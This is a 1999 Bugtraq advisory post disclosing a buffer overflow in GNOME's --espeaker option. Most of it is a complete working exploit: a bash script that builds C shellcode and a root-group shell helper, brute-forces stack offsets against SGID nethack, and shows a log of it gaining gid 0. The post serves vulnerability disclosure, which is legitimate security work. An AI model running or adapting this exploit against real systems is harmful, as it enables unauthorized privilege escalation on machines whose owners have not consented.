=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


    Date: Пт, 24 сен 1999  03:36:18

   От: Brock Tellier <btellier@WEBLEY.COM>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: Linux GNOME exploit

--------------------------------------------------------------------------------




Greetings,



    Virtually any program using the GNOME libraries is vulnerable to a

buffer overflow attack.  The attack comes in the form:



/path/to/gnome/prog --enable-sound --espeaker=$80bytebuffer



The following exploit should work against any GNOME program, though I

tried it on (the irony) /usr/games/nethack, which is SGID root by default

on RH6.0.  An attack on any program will look something like this:



[xnec@redhack gnox]$ uname -a; cat /etc/redhat-release; id

Linux redhack 2.2.9-19mdk #1 Wed May 19 19:53:00 GMT 1999 i686 unknown

Linux Mandrake release 6.0 (Venus)

uid=501(xnec) gid=501(xnec) groups=501(xnec)

[xnec@redhack gnox]$ ./gnox.sh

Building /tmp/gnox.c...

...done!

Building /tmp/gn.c...

...done!

Compiling /tmp/gnox...

...done!

Compiling /tmp/gn...

...done!

Launching attack...



... pages and pages of segfaults



Generic GNOME exploit for Linux x86

Brock Tellier btellier@webley.com



Using addr: 0xbffff988  buflen:90  offset:208

Can't resolve host name "л^1AFF

                                                                     °

                                                                      уV



I1UШ@IиЬяяя/tmp/gnщяїщяїXъяїZ"!

before: uid=501, euid=501, gid=501, egid=0

after: uid=501, euid=501, gid=0, egid=0

[xnec@redhack gnomehack]$ id

uid=501(xnec) gid=0(root) groups=501(xnec)



Brock Tellier

UNIX Systems Administrator

Webley Systems

www.webley.com



--- gnox.sh ---

#!/bin/bash

# Generic exploit for GNOME apps under Linux x86

# Our overflowed buffer is just 80 bytes so we'll have to get our

settings

# just so.  Hence the shell script.

#

# This should work against any su/gid GNOME program.  The only one that

comes

# with RH6.0 that is su/gid root is (the irony is killing me) nethack.

#

# Change the /usr/games/nethack statement in the while loop below to

exploit

# a different program.

#

# -Brock Tellier btellier@webley.com



echo "Building /tmp/gnox.c..."

cat > /tmp/gnox.c <<EOF

/*

 * Generic GNOME overflow exploit for Linux x86, tested on RH6.0

 * Will work against any program using the GNOME libraries in the form

 * Keep your BUFSIZ at 90 and only modify your offset

 *

 */





#include <stdlib.h>

#include <stdio.h>



char gnoshell[]= /* Generic Linux x86 shellcode modified to run our

program */

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/tmp/gn";



#define LEN 120

#define BUFLEN 90 /* no need to change this */

#define NOP 0x90

#define DEFAULT_OFFSET 300



unsigned long get_sp(void) {



__asm__("movl %esp, %eax");



}



void main(int argc, char *argv[]) {



int offset, i;

int buflen = BUFLEN;

long int addr;

char buf[BUFLEN];

char gnobuf[LEN];

if(argc > 2) {

  fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);

  exit(0);

}

 else if (argc == 2){

   offset=atoi(argv[1]);

 }

 else {

   offset=DEFAULT_OFFSET;

 }





addr=get_sp();



fprintf(stderr, "Generic GNOME exploit for Linux x86\n");

fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");

fprintf(stderr, "Using addr: 0x%x  buflen:%d  offset:%d\n", addr-offset,

buflen, offset);



memset(buf,NOP,buflen);

memcpy(buf+35,gnoshell,strlen(gnoshell));

for(i=35+strlen(gnoshell);i<buflen-4;i+=4)

        *(int *)&buf[i]=addr-offset;



sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);

for(i=0;i<strlen(gnobuf);i++)

        putchar(gnobuf[i]);



}

EOF



echo "...done!"



echo "Building /tmp/gn.c..."



cat > /tmp/gn.c <<EOF

#include <unistd.h>



void main() {

  printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),

geteuid(), getgid(), getegid());



  setreuid(geteuid(), geteuid());

  setregid(getegid(), getegid());



  printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),

geteuid(), getgid(), getegid());



  system("/bin/bash");

}

EOF



echo "...done!"



echo "Compiling /tmp/gnox..."

gcc -o /tmp/gnox /tmp/gnox.c

echo "...done!"



echo "Compiling /tmp/gn..."

gcc -o /tmp/gn /tmp/gn.c

echo "...done!"



echo "Launching attack..."



offset=0



while [ $offset -lt 10000 ]; do

    /usr/games/nethack `/tmp/gnox $offset`

    offset=`expr $offset + 4`

done



echo "...done!"



------